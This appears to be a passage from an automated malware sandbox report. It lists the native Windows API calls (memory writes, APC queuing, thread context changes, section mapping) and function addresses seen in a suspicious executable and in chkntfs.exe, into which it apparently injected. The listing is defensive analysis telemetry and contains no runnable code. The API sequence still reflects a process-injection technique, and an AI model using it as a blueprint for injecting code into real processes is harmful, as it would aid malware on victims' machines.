Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012E2E30 NtWriteVirtualMemory,	3_2_012E2E30
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012E2EA0 NtAdjustPrivilegesToken,	3_2_012E2EA0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012E2E80 NtReadVirtualMemory,	3_2_012E2E80
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012E2EE0 NtQueueApcThread,	3_2_012E2EE0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012E3010 NtOpenDirectoryObject,	3_2_012E3010
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012E3090 NtSetValueKey,	3_2_012E3090
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012E39B0 NtGetContextThread,	3_2_012E39B0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012E3D10 NtOpenProcessToken,	3_2_012E3D10
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012E3D70 NtOpenThread,	3_2_012E3D70
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_04814650 NtSuspendThread,LdrInitializeThunk,	14_2_04814650
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_04814340 NtSetContextThread,LdrInitializeThunk,	14_2_04814340
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_04812CA0 NtQueryInformationToken,LdrInitializeThunk,	14_2_04812CA0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_04812C60 NtCreateKey,LdrInitializeThunk,	14_2_04812C60
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_04812C70 NtFreeVirtualMemory,LdrInitializeThunk,	14_2_04812C70
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_04812DD0 NtDelayExecution,LdrInitializeThunk,	14_2_04812DD0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_04812DF0 NtQuerySystemInformation,LdrInitializeThunk,	14_2_04812DF0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_04812D10 NtMapViewOfSection,LdrInitializeThunk,	14_2_04812D10
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_04812D30 NtUnmapViewOfSection,LdrInitializeThunk,	14_2_04812D30
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_04812E80 NtReadVirtualMemory,LdrInitializeThunk,	14_2_04812E80
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_04812EE0 NtQueueApcThread,LdrInitializeThunk,	14_2_04812EE0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_04812FB0 NtResumeThread,LdrInitializeThunk,	14_2_04812FB0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_04812FE0 NtCreateFile,LdrInitializeThunk,	14_2_04812FE0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_04812F30 NtCreateSection,LdrInitializeThunk,	14_2_04812F30
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_04812AD0 NtReadFile,LdrInitializeThunk,	14_2_04812AD0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_04812AF0 NtWriteFile,LdrInitializeThunk,	14_2_04812AF0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_04812BA0 NtEnumerateValueKey,LdrInitializeThunk,	14_2_04812BA0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_04812BE0 NtQueryValueKey,LdrInitializeThunk,	14_2_04812BE0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_04812BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	14_2_04812BF0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_04812B60 NtClose,LdrInitializeThunk,	14_2_04812B60
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_048135C0 NtCreateMutant,LdrInitializeThunk,	14_2_048135C0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_048139B0 NtGetContextThread,LdrInitializeThunk,	14_2_048139B0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_04812CC0 NtQueryVirtualMemory,	14_2_04812CC0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_04812CF0 NtOpenProcess,	14_2_04812CF0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_04812C00 NtQueryInformationProcess,	14_2_04812C00
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_04812DB0 NtEnumerateKey,	14_2_04812DB0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_04812D00 NtSetInformationFile,	14_2_04812D00
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_04812EA0 NtAdjustPrivilegesToken,	14_2_04812EA0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_04812E30 NtWriteVirtualMemory,	14_2_04812E30
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_04812F90 NtProtectVirtualMemory,	14_2_04812F90
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_04812FA0 NtQuerySection,	14_2_04812FA0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_04812F60 NtCreateProcessEx,	14_2_04812F60
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_04812AB0 NtWaitForSingleObject,	14_2_04812AB0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_04812B80 NtQueryInformationFile,	14_2_04812B80
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_04813090 NtSetValueKey,	14_2_04813090
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_04813010 NtOpenDirectoryObject,	14_2_04813010
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_04813D10 NtOpenProcessToken,	14_2_04813D10
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_04813D70 NtOpenThread,	14_2_04813D70
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_005B8120 NtAllocateVirtualMemory,	14_2_005B8120
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_005B7CF0 NtCreateFile,	14_2_005B7CF0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_005B7E50 NtReadFile,	14_2_005B7E50
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_005B7F30 NtDeleteFile,	14_2_005B7F30
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_005B7FC0 NtClose,	14_2_005B7FC0

Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 0_2_026E4078	0_2_026E4078
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 0_2_026E0040	0_2_026E0040
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 0_2_026E6040	0_2_026E6040
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 0_2_026E001E	0_2_026E001E
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_004100DB	3_2_004100DB
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_004100E3	3_2_004100E3
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_00401140	3_2_00401140
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_00402910	3_2_00402910
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0040113E	3_2_0040113E
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0042D983	3_2_0042D983
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_00416A63	3_2_00416A63
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_004032B7	3_2_004032B7
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_00403300	3_2_00403300
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_00410303	3_2_00410303
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0040E383	3_2_0040E383
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0040E4C8	3_2_0040E4C8
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_004024F0	3_2_004024F0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0040E55C	3_2_0040E55C
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_00402680	3_2_00402680
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012A0100	3_2_012A0100
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0134A118	3_2_0134A118
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01338158	3_2_01338158
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_013641A2	3_2_013641A2
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_013701AA	3_2_013701AA
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_013681CC	3_2_013681CC
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01342000	3_2_01342000
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0136A352	3_2_0136A352
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_013703E6	3_2_013703E6
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012BE3F0	3_2_012BE3F0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01350274	3_2_01350274
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_013302C0	3_2_013302C0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B0535	3_2_012B0535
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01370591	3_2_01370591
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01354420	3_2_01354420
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01362446	3_2_01362446
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0135E4F6	3_2_0135E4F6
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B0770	3_2_012B0770
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012D4750	3_2_012D4750
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012AC7C0	3_2_012AC7C0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012CC6E0	3_2_012CC6E0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012C6962	3_2_012C6962
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B29A0	3_2_012B29A0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0137A9A6	3_2_0137A9A6
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012BA840	3_2_012BA840
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B2840	3_2_012B2840
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012968B8	3_2_012968B8
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012DE8F0	3_2_012DE8F0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0136AB40	3_2_0136AB40
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01366BD7	3_2_01366BD7
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012AEA80	3_2_012AEA80
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012BAD00	3_2_012BAD00
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0134CD1F	3_2_0134CD1F
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012C8DBF	3_2_012C8DBF
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012AADE0	3_2_012AADE0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B0C00	3_2_012B0C00
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01350CB5	3_2_01350CB5
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012A0CF2	3_2_012A0CF2
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01352F30	3_2_01352F30
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012F2F28	3_2_012F2F28
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012D0F30	3_2_012D0F30
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01324F40	3_2_01324F40
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0132EFA0	3_2_0132EFA0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012BCFE0	3_2_012BCFE0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012A2FC8	3_2_012A2FC8
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0136EE26	3_2_0136EE26
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B0E59	3_2_012B0E59
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0136CE93	3_2_0136CE93
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012C2E90	3_2_012C2E90
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0136EEDB	3_2_0136EEDB
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012E516C	3_2_012E516C
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0129F172	3_2_0129F172
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0137B16B	3_2_0137B16B
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012BB1B0	3_2_012BB1B0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0136F0E0	3_2_0136F0E0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_013670E9	3_2_013670E9
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B70C0	3_2_012B70C0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0135F0CC	3_2_0135F0CC
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0136132D	3_2_0136132D
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0129D34C	3_2_0129D34C
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012F739A	3_2_012F739A
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B52A0	3_2_012B52A0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_013512ED	3_2_013512ED
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012CB2C0	3_2_012CB2C0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01367571	3_2_01367571
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0134D5B0	3_2_0134D5B0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_013795C3	3_2_013795C3
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0136F43F	3_2_0136F43F
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012A1460	3_2_012A1460
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0136F7B0	3_2_0136F7B0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012F5630	3_2_012F5630
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_013616CC	3_2_013616CC
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01345910	3_2_01345910
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B9950	3_2_012B9950
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012CB950	3_2_012CB950
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0131D800	3_2_0131D800
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B38E0	3_2_012B38E0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0136FB76	3_2_0136FB76
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012CFB80	3_2_012CFB80
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01325BF0	3_2_01325BF0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012EDBF9	3_2_012EDBF9
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01323A6C	3_2_01323A6C
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01367A46	3_2_01367A46
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0136FA49	3_2_0136FA49
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012F5AA0	3_2_012F5AA0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01351AA3	3_2_01351AA3
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0134DAAC	3_2_0134DAAC
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0135DAC6	3_2_0135DAC6
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01367D73	3_2_01367D73
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B3D40	3_2_012B3D40
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01361D5A	3_2_01361D5A
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012CFDC0	3_2_012CFDC0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01329C32	3_2_01329C32
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0136FCF2	3_2_0136FCF2
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0136FF09	3_2_0136FF09
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0136FFB1	3_2_0136FFB1
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B1F92	3_2_012B1F92
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01273FD5	3_2_01273FD5
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01273FD2	3_2_01273FD2
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B9EB0	3_2_012B9EB0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_0488E4F6	14_2_0488E4F6
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_04884420	14_2_04884420
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_04892446	14_2_04892446
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_048A0591	14_2_048A0591
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_047E0535	14_2_047E0535
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_047FC6E0	14_2_047FC6E0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_047E0770	14_2_047E0770
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_047DC7C0	14_2_047DC7C0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_04804750	14_2_04804750
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_04872000	14_2_04872000
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_048A01AA	14_2_048A01AA
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_048941A2	14_2_048941A2
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_048981CC	14_2_048981CC
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_047D0100	14_2_047D0100
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_0487A118	14_2_0487A118
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_04868158	14_2_04868158
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_048602C0	14_2_048602C0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_04880274	14_2_04880274
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_048A03E6	14_2_048A03E6
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_047EE3F0	14_2_047EE3F0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_0489A352	14_2_0489A352
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_04880CB5	14_2_04880CB5
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_047E0C00	14_2_047E0C00
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_047D0CF2	14_2_047D0CF2
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_047EAD00	14_2_047EAD00
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_0487CD1F	14_2_0487CD1F
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_047DADE0	14_2_047DADE0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_047F8DBF	14_2_047F8DBF
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_0489CE93	14_2_0489CE93
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_047E0E59	14_2_047E0E59
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_0489EEDB	14_2_0489EEDB
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_0489EE26	14_2_0489EE26
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_047F2E90	14_2_047F2E90
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_0485EFA0	14_2_0485EFA0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_047ECFE0	14_2_047ECFE0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_04822F28	14_2_04822F28
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_04800F30	14_2_04800F30
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_047D2FC8	14_2_047D2FC8
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_04882F30	14_2_04882F30
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_04854F40	14_2_04854F40
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_047E2840	14_2_047E2840
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_047EA840	14_2_047EA840
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_0480E8F0	14_2_0480E8F0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_047C68B8	14_2_047C68B8
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_047F6962	14_2_047F6962
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_048AA9A6	14_2_048AA9A6
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_047E29A0	14_2_047E29A0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_047DEA80	14_2_047DEA80
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_04896BD7	14_2_04896BD7
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_0489AB40	14_2_0489AB40
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_047D1460	14_2_047D1460
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_0489F43F	14_2_0489F43F
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_0487D5B0	14_2_0487D5B0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_048A95C3	14_2_048A95C3
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_04897571	14_2_04897571
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_048916CC	14_2_048916CC
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_04825630	14_2_04825630
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_0489F7B0	14_2_0489F7B0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_0488F0CC	14_2_0488F0CC
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_048970E9	14_2_048970E9
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_0489F0E0	14_2_0489F0E0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_047E70C0	14_2_047E70C0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_047CF172	14_2_047CF172
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_047EB1B0	14_2_047EB1B0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_048AB16B	14_2_048AB16B
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_0481516C	14_2_0481516C
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_048812ED	14_2_048812ED
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_047FB2C0	14_2_047FB2C0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_047E52A0	14_2_047E52A0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_0482739A	14_2_0482739A
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_047CD34C	14_2_047CD34C
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_0489132D	14_2_0489132D
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_0489FCF2	14_2_0489FCF2
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_04859C32	14_2_04859C32
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_047E3D40	14_2_047E3D40
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_047FFDC0	14_2_047FFDC0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_04891D5A	14_2_04891D5A
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_04897D73	14_2_04897D73
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_047E9EB0	14_2_047E9EB0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_0489FFB1	14_2_0489FFB1
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_0489FF09	14_2_0489FF09
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_047A3FD2	14_2_047A3FD2
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_047A3FD5	14_2_047A3FD5
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_047E1F92	14_2_047E1F92
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_0484D800	14_2_0484D800
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_047E38E0	14_2_047E38E0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_047E9950	14_2_047E9950
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_047FB950	14_2_047FB950
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_04875910	14_2_04875910
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_04825AA0	14_2_04825AA0
